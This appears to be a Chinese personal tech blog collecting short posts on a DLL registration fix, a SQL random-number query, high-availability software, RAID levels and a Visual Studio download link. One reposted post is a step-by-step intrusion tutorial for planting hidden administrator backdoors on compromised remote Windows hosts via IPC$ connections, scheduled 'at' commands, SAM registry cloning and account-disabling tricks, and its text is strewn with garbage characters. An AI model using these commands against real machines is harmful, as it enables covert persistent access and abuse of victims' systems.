MSXML3.dll未注册

Posted By zero
Categorized Under: 记事本
Comments (0)

卸载了一些应用程序之后,VS.NET IDE起不来了,提示MSXML3.dll未注册

Regsvr32 c:windowssystem32msxml3.dll。

sql 随机数

Posted By zero
Categorized Under: 记事本
Comments (0)


select convert(int,RAND()*100)

怎么创建隐藏的用户 –转载

Posted By zero
Categorized Under: 记事本
Comments (0)

怎么创建隐藏的用户2006-10-30 18:21前几天在某个网站(记不清了,不好意思 ^_*)上看到了一篇介绍如何建立隐藏的超级用户的图文教程,给我了很大的启发,作者只说明了如何在本地图形界面下建立隐藏的超级用户,且作者说他无法在命令行下实现隐藏的超级用户的建立,于是我就开始自已摸索,刚开始时,我用reg.exe(3.0版)作为命令行下导出导入注册表文件的工具,但每次导入以后,建立的隐藏的超级用户总不能用,后来打开注册表查看,发现这个隐藏的超级用户的默认数据类型并没有被导入注册表。由于这种数据类型是十六进制数表示的(如administrator的默认数据类型为000001F4,下面例子中的hacker$的数据类型是00000409)而不是我们常说的字符串型、dword型、二进制型等数据类型,reg.exe不能识别,因而也就无法导入,而在图形界面下用注册表编辑器regedit.exe却能够将这种数据类型导入,后来一想regedit.exe是一个两栖程序,它既可以在windows界面下运行,也可以在DOS下运行,既然图形界面regedit.exe能够导入这种数据类型,那么DOS下面的它也应该能够导入这种数据类型,后来经试验证明了想法。下面我把我实现这个隐藏的超级用户建立方法介绍如下:  0 UvOd1 m  
-?:;@P 9]  
一、如何在图形界面建立隐藏的超级用户  q=b%):) ^  
vFhESSP8m  
图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序,修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINESAMSAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:  R1 cTR x`l  
b%~Y[ c  
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户  ]J{ >e]LU  
6f+e$P |w  
net user hacker$ 1234 /add  w H zIMu3t  
UC~t &Wq  
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。  7sE IQ*  
} [D uqUW  
3、点“权限”以后会弹出窗口  :k%@* bmp  
LW#~>  
点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。  ik<1! *hij  
%& e o #  
4、再点“开始→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。  l G{,6V  
Tp2<wWBS  
打开键:HKEY_LOCAL_MAICHINESAMSAMDomainsaccountuser
ameshacker$"  RG0;&_Y[id  
T ]oK?  
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键”F”的值复制,并覆盖hacker$对应的项00000409下的键”F”的值,然后再将00000409.reg与hacker.reg合并。  8 Zn~AFe  
,P[o#g&Gl  
6、在命令行下执行net user hacker$ /del将用户hacker$删除:net user hacker$ /del  jB`nX1H h  
@!#Q%*o-(i  
7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可  -V]JgG8f  
;r U H  
8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。  ]i : c Dw  
4Ioiwp  
9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。  < ) m8C 0  
k{Z Z0 W`  
如何在命令行下远程建立隐藏的超级用户  LQ kC|M 1  
X p/GOC-q  
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。  C2= 0 ~A  
Y (KOm  
对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。  Za Sa -^G  
1w oz A  
1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)  8A 7 j(‘h  
2、先与肉鸡建立连接,命令为: net use \13.50.97.238ipc$ “12345678″ /user:”administrator  dY>i _ @i  
“d .gX >Y{  
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \13.50.97.238 12:51  b|yNziog z  
u*arF&Clk  
c:winntsyst^-^
et.exe user hacker$ 1234 /add  buwg :~(O  
@&$ sR~c[.  
建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。  n C ?G aK  
Y YC`IZ/+Q  
4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值:at \13.50.97.238 12:55  s M=H) S  
"? 0GlX  
c:winnt
egedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers  A:r ^t5 eh  
)99enW` k  
/e 是regedit.exe的参数,在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将"c:winnt
egedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers"引起来。  |4 pdvP  
V g 4N o  
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \13.50.97.238admin$syst^-^hacker.reg  % sC< A3Sq  
jt MM ? Ht  
c:hacker.reg  2D7aUvA  
"~N &#C+!d  
修改的方法图形界中已经介绍过了,这里就不作介绍了。  Uh qZ 8  
6 } } gf&=  
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:hacker.reg \13.50.97.238admin$syst^-^hacker1.reg  4/@* hFt  
v.]Q Y`~p  
7、查看肉鸡时间:net time \13.50.97.238 然后用at命令将用户hacker$删除:  ,Hm! 8-F~U  
“= = >  
at \13.50.97.238 13:40 net user hacker$ /del  Ujq O YlfR  
3)# ‘wKdn  
8、验证hacker$是否删除:用  PeU6Mw  
~F;$G1 IXs  
net use \13.50.97.238 /del 断开与肉鸡的连接。  2v “* PfbW  
n >Rtc7 ?  
net use \13.50.97.238ipc$ “1234″ /user:”hacker$” 用帐户hacker$与肉鸡连接,不能连接说明已删除。  vp> :Tgd ,  
QAh: ~ 7  
9、再与肉鸡建立连接:net use \13.50.97.238ipc$ “12345678″ /user:”administrator”  <j,’w l>’  
uf K axI8  
再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:  Y  
$y:EUURB  
at \13.50.97.238 13:41 c:winnt
egedit.exe /s hacker1.reg  K@%#v mM  
‘ X|{ o  
regedit.exe的参数/s是指安静模式。  #5h@uP|  
d{ +5 3  
10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。  w /W+{ <:  
cI1Uy&Fv#  
11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。  [P7 ={'  
Gng Q11{1]  
12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。  4 O+8 ‘; W  
1nT iz  
三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?  uke Bs_I0x  
e7 1A[5`W*  
这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。  `i!t ){hu@  
'0 YuA ]n3  
但是这里有两个前提:1、先用net use \肉鸡ipipc$ “密码” /user:”超级用户名”来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。  xr 0 Y y a  
,@|K =  
2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。  ? ^wj-2z  
v^s8[ -$  
四、利用被禁用的帐户建立隐藏的超级用户:  mo*&5CL d  
eD / *W!4  
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:  V5rq.pD;,  
RO ]; lc  
1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:”net user 用户名”一个一个来查看用户是否被禁用。  s&S$ LNQm  
Rg{jOWOZ  
2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \肉鸡ip Administrator 超级用户密码 hacher hacher密码。  50 ~< <  
/ ZGo 2F:p  
3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令:  /VX 6| ^R7  
Iz;z ?”+B  
net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。  .j2 “?,GC`  
eC J_1g  
4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user \肉鸡ipipc$ “hacker密码” /user:”hacker” 连一连看看。我可以告诉,经过我多次试验,次次都能成功,而且还是超级用户权限。  3 V]Aq 4j  
<@}.t K  
5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \肉鸡ip 时间 net user hacker /active:no  ) ? &&  
;) Pz!*^)P  
6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的”F”键被超级用户administrator在注册表的”F”键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内”C”健还是原来的”C”键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,权且这么理解吧。  7 i ]hO S  
五、注意的几点事项:  !{“SxS#  
9 g) CyuM@  
1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。  >Ov& ;L 5  
‘G>IhHS ]  
2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。  I wW t^  
q^ |*5f;  
3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。  NJ)B bOK  
X – wF y  
4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者负责,本人概不负责。 0q

Rose Mirror Ha简单介绍

Posted By zero
Categorized Under: 记事本
Comments (0)

Rose Mirror Ha简单介绍
                                      

    大家都知道,双机热备有两种典型的方式,一种是比较标准的,两台服务器通过一个共享的存储设备(一般是共享的磁盘阵列或存储区域网SAN),并且安装双机软件,实现双机热备,称为共享方式,如ROSE HA。另一种方式是通过纯软件的方式,一般称为纯软件方式或镜像方式(Mirror)比如lifekeeper。前者用的最多,性能也比较好,安全系数也比较高!

   但是纯软的HA也有他的优势。下面分几方面作简单的介绍:

纯软件方式有三大优点:

 1.避免了磁盘阵列的单点故障:对于双机热备,本身即是防范由于单个设备的故障导致服务中断,但磁盘阵列恰恰又形成了一个新的单点。(比如,服务器的可靠系数是99.9%, 磁盘阵列的可靠系数是99.95%,则纯软双机的可靠系数是1-99.9%x99.9%=99.99%,而基于磁盘阵列的双机热备系统的可靠系数则会是略低于99.95%

 2.节约投资:不需购买昂贵的磁盘阵列。当然,两台服务器同样可以连接盘阵,但并不需要建立共享盘。

 3.不受距离的限制:两台服务器不需受SCSI电缆的长度限制(光纤通道的磁盘阵列也不受距离限制,但投资会大得多)。这样,可以更灵活地部署服务器,包括通过物理位置的距离来提高安全性。

大名鼎鼎的ROSE 最近也推出了基于MIRROR的HA软件。该软件支持纯软的方式。下面让我们来看看ROSE MIRROR HA的介绍吧。

软件简介

    RoseMirrorHA是在实时数据镜像基础上,实现了不需要共享存储的纯软高可用性系统。在传统高可用性系统中需要通过共享存储来实现数据的共享并提升性能,但这也增加了可用性系统的成本,RoseMirrorHA通过现有的以太网络基础环境,通过TCP/IP协议,在两台主机之间实现了数据的实时镜像,不需要额外的硬件投资。在充分利用已有资源的基础上,通过先进的软件技术,实现纯软的高可用性系统。
    RoseMirrorHA高可用性系统,可以对主机的IP、应用程序、数据等进行监控和保护,当应用程序或主机发生故障后,RoseMirrorHA将自动、快速的切换应用到备机,确保应用服务的持续和可用性,保证公司业务的持续运行。
    RoseMirrorHA支持Active/Standby和Active/Active两种模式。在Active/Standby方式中,其中一台主机作为Active主机,运行重要的应用程序,向客户端提供各种应用服务,另一台主机作为备机,实时监控Active主机运行情况,只有当Active主机发生故障后,备机才接管Active主机上的应用服务。在Active/Active配置方式中,每台主机上运行各自的应用程序。服务器在运行自身的应用服务时,同时也是另一台主机的备机,即两台主机互为备机。





    RoseMirrorHA 通过网络在两台主机之间进行实时的数据复制。当Active主机发生故障时, RoseMirrorHA将自动将服务迅速的切换到备机。并在备机镜像数据的基础上,继续为客户端提供业务服务。

ROSE MIRROR HA的功能特点:

1 无缝集成到既有系统环境
    RoseMirrorHA支持客户既有的环境,充分利用客户既有的资源。充分保护用户投资,保护用户既有的应用和数据。最大限度的适应已有的软件和硬件环境,无需专门的设备和其它额外成本投入。


2 高效成熟的多种镜像方式
    支持完全镜像、差分镜像
完全镜像:将Active主机的数据无条件重新传输到Standay主机,不论Standay主机是否已经存在该文件。可以确保数据的完整和一致性。通常在初始化的时候,需要采用完全镜像的方式。
差分镜像:只传输Standay与Active不同的部分,而不必传送相同部分的数据,可以减少对网络等资源的使用。减少不必要的网络传输,提高数据镜像的效率。


3 按需复制性能资源最佳化
    支持自定义复制数据集
    RoseMirrorHA 支持复制数据集的定义,用户可以选择定制需要复制的目录、文件。RoseMirrorHA的数据镜像是基于文件系统之上的,仅仅复制文件变化的部分。RoseMirrorHA通过自身的驱动程序来监控用户指定数据集,获取变化内容进行传输处理。这种以字节为单位的按需复制,充分保证了系统性能和效率的最佳化。


4支持在线备份数据或维护
    支持目标写入暂停
    当需要对备机上复制的数据进行备份、查看的操作,不希望新的数据写入时,可以使用该功能暂停备机写入,暂停后数据仍将发送到备机,备机将暂停后的数据缓存起来,等待暂停恢复后写入。
    支持Active主机传输暂停
    RoseMirrorHA 允许对Active主机复制的数据暂停发送,暂停后变化的数据仍然将被获取,变化的数据将被存入pagefile,等待传输暂停恢复后发送。
    消除备份窗口
    通过备机写入暂停或主机传输暂停,可以在确保主机应用在线持续运行的情况下,通过备机对数据进行备份到带库等操作。即保证了业务的持续运行,性能不受影响,同时又可以对数据进行更多方式,更加灵活的备份保护。同时备份操作的作业时间也有了很大的灵活性。不必等到晚上或是周末再进行。


3.5 智能的故障处理恢复机制
    支持pagefile机制
    当网络故障、传输暂停等情况下,数据无法发送时,服务可将数据暂存在pagefile中,当可以发送后继续进行发送,保证数据不会丢失。并且pagefile的大小可以自行设定。
智能的数据传输
    当网络发生故障后,RoseMirrorHA的数据复制不会停止,而是将复制的数据放入pagefile中,当网络恢复后将自动的将pagefile中的数据发送到目标机,而不需要重新进行同步,有效地的减少了网络和CPU的负担。
    支持磁盘空间监控
    RoseMirrorHA 提供磁盘空间监控功能,当磁盘的可用空间低于设定值时,将通过邮件、在线消息进行报警。
    支持邮件信息通知
    RoseMirrorHA支持邮件信息通知,当发生异常情况时,系统将自动的发送信息给设定的邮箱,帮助管理员及时的了解系统运行状态。


6 完整的数据属性复制支持
    支持Windows 多数据流
    RoseMirrorHA 支持Windows多数据流的复制。
    支持ACL
    RoseMirrorHA 支持Window Access Control List(ACL)的复制。


7 自动的应用高可用性保护
    支持活动IP
    RoseMirrorHA 中每个被保护的应用可以建立最多8个活动IP,客户端端可以通过活动IP访问应用。
    支持Windows主机别名
    RoseMirrorHA 中每个被保护的应用都可以建立多主机别名,客户端可以通过别名访问应用服务。
    支持应用进程的监控
    RoseMirrorHA 可以监控标准的Windows服务或是Linux平台的应用,同时支持以自定义方式对用户自己的应用进程进行监控。
    支持网卡、活动IP的监控
    RoseMirrorHA将对主机的网卡、活动IP的状态进行监控,当发生故障时通过在线消息等进行通知。
    支持多条心跳
    RoseMirrorHA 支持Socket和RS232两种类型的心跳,并支持心跳冗余,最多允许三条心跳。当配置远距离的高可用性系统时,请使用网卡类型的心跳。
增强数据安全策略
    RoseMirrorHA 提供全面的数据安全策略,对数据的可用状态进行监控,充分保证切换后的数据状态是一致有效的,是可用的。RoseMirrorHA完整的高可用性保护策略,在主机发生故障时,可以及时自动的将应用服务切换到备机,确保业务的迅速恢复。


8 简洁直观的管理工具
    RoseMirrorHA简洁直观的图形化管理工具(GUI),可以在网络中的任何一个地方管理网络中的RoseMirrorHA主机,实现了远程管理。使得管理维护成为非常简单方便的事情。RoseMirrorHA简洁易用的配置管理方式,大大的降低了系统的实施管理和维护成本。


9 体贴的应用配置向导支持
    优秀的应用配置向导支持,简化了使用配置的难度,通过人性化的设计,使得配置服务更加轻松上手。通过配置向导,只需根据向导的提示即可轻松的建立应用服务。RoseMirrorHA的配置向导中提供了许多常见应用(如:Oracle、MS SQL、Exchange等)的配置模板,用户可以很方便的使用向导进行配置,实现应用程序的高可用性。

结论:RoseMirrorHA是一个可靠的、稳定的、高性能的应用高可用保护解决方案,实现应用程序的保护,保证了业务的持续运行。RoseMirrorHA成熟的数据镜像技术,全面的高可用性支持,即保证了系统的最佳的性能,最高的可靠性,同时又通过丰富的应用支持,灵活智能的控制机制,简单易用的管理配置,为用户提供了具备最佳性价比的,纯软高可用性解决方案。

RAID

Posted By zero
Categorized Under: 记事本
Comments (0)

RAID

2005-5-10 16:09:00


Q:RAID是什么技术?

       A:RAID,为Redundant Arrays of Independent Disks的简称,中文为廉价冗余磁盘阵列。 磁盘阵列其实也分为软阵列 (Software Raid)和硬阵列 (Hardware Raid) 两种. 软阵列即通过软件程序并由计算机的 CPU提供运行能力所成. 由于软件程式不是一个完整系统故只能提供最基本的 RAID容错功能. 其他如热备用硬盘的设置, 远程管理等功能均一一欠奉. 硬阵列是由独立操作的硬件提供整个磁盘阵列的控制和计算功能. 不依靠系统的CPU资源.
由于硬阵列是一个完整的系统, 所有需要的功能均可以做进去. 所以硬阵列所提供的功能和性能均比软阵列好. 而且, 如果你想把系统也做到磁盘阵列中, 硬阵列是唯一的选择. 故我们可以看市场上 RAID 5 级的磁盘阵列均为硬阵列. 软 阵列只适用于 Raid 0 和 Raid 1. 对于我们做镜像用的镜像塔, 肯定不会用 Raid 0或 Raid 1。作为高性能的存储系统,巳经得到了越来越广泛的应用。RAID的级别从RAID概念的提出到现在,巳经发展了六个级别, 其级别分别是0、1、2、3、4、5等。但是最常用的是0、1、3、5四个级别。下面就介绍这四个级别。

RAID 0:将多个较小的磁盘合并成一个大的磁盘,不具有冗余,并行I/O,速度最快。RAID 0亦称为带区集。它是将多个 磁盘并列起来,成为一个大硬盘。在存放数据时,其将数据按磁盘的个数来进行分段,然后同时将这些数据写进这些盘中。 所以,在所有的级别中,RAID 0的速度是最快的。但是RAID 0没有冗余功能的,如果一个磁盘(物理)损坏,则所有的数 据都无法使用。

RAID 1:两组相同的磁盘系统互作镜像,速度没有提高,但是允许单个磁盘错,可靠性最。RAID 1就是镜像。其原理为 在主硬盘上存放数据的同时也在镜像硬盘上写一样的数据。当主硬盘(物理)损坏时,镜像硬盘则代替主硬盘的工作。因 为有镜像硬盘做数据备份,所以RAID 1的数据安全性在所有的RAID级别上来说是最好的。但是其磁盘的利用率却只有50%, 是所有RAID上磁盘利用率最低的一个级别。

RAID Level 3 RAID 3存放数据的原理和RAID0、RAID1不同。RAID 3是以一个硬盘来存放数据的奇偶校验位,数据则分段存储于其余硬盘 中。它象RAID 0一样以并行的方式来存放数,但速度没有RAID 0快。如果数据盘(物理)损坏,只要将坏硬盘换掉,RAID
控制系统则会根据校验盘的数据校验位在新盘中重建坏盘上的数据。不过,如果校验盘(物理)损坏的话,则全部数据都 无法使用。利用单独的校验盘来保护数据虽然没有镜像的安全性高,但是硬盘利用率得到了很大的提高,为n-1。

RAID 5:向阵列中的磁盘写数据,奇偶校验数据存放在阵列中的各个盘上,允许单个磁盘出错。RAID 5也是以数据的校验 位来保证数据的安全,但它不是以单独硬盘来存放数据的校验位,而是将数据段的校验位交互存放于各个硬盘上。这样, 任何一个硬盘损坏,都可以根据其它硬盘上的校验位来重建损坏的数据。硬盘的利用率为n-1。

RAID 0-1:同时具有RAID 0和RAID 1的优点。

冗余:采用多个设备同时工作,当其中一个设备失效时,其它设备能够接替失效设备继续工作的体系。在PC服务器上,通 常在磁盘子系统、电源子系统采用冗余技术

vs2005.net 下载

Posted By zero
Categorized Under: 记事本
Comments (0)

http://www.771.com.cn/down/[Microsoft.Visual.Studio.2005.Team.Suite.简体中文版].DVD1.rar